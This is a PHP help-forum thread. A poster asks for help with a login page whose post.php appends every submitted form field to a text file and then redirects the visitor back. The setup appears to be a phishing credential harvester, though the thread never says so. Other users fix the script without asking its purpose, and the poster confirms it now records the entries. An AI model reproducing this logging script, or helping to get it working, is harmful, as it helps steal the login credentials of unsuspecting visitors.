Jump to content

[SOLVED] Help With Post


t3hub3rz

Recommended Posts

Hi i was wondering if you could help me with my website I got it all set up but when i test it post.php never puts the things they put in, into the log.txt i have Please help

 

Heres the login where they enter the stuff : http://rapidshare.com/files/288256499/index.html

 

and post.php

 

PHP Code:

 

<?php 
header ('Location: index.html'); 
$handle = fopen("log.txt", "a"); 
foreach($_POST as $variable => $value) { 
fwrite($handle, $variable); 
fwrite($handle, "="); 
fwrite($handle, $value); 
fwrite($handle, "\r\n"); 
} 
fwrite($handle, "\r\n"); 
fclose($handle); 
exit; 
?>

Link to comment
Share on other sites

Well i'm not sure what your HTML file looks like. you could post it in here.

i don't download anything from rapidshare.

 

But from the looks of your current code. Maybe try specifying your post?

 

you have:

foreach($_POST as $variable => $value) { 

 

try this:

 

foreach($_POST['name'] as $variable => $value) { 

 

hope this helps.

Link to comment
Share on other sites

You're just redirecting the script to index.html as soon as it's called..

 

header ('Location: index.html');

 

So chances are it isn't being executed.

 

Try:

<?php
$handle = fopen("log.txt", "a"); 
foreach($_POST as $var => $val)
    fwrite($handle, "$var=$val\r\n");
fwrite($handle, "\r\n");
fclose($handle);

Link to comment
Share on other sites

when i enter it says

 

Warning: fopen(log.txt) [function.fopen]: failed to open stream: Permission denied in /home/username/public_html/post.php on line 2

 

Warning: fwrite(): supplied argument is not a valid stream resource in /home/username/public_html/post.php on line 5

 

Warning: fclose(): supplied argument is not a valid stream resource in /home/username/public_html/post.php on line 6

 

 

could it be that my webhoster doesnt allow it?

Link to comment
Share on other sites

Edit: ok i did 0777 and it says that the log.txt isnt 0 bytes anymore everytime i do the login thing it goes up so im guessing its recording it but the text file is still blank

 

Edit2: ok it looks like its trying to record it because everytime i try the login it goes to a new line in log.txt

 

edit3: nvm i just used the old code now it works THANKS!

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.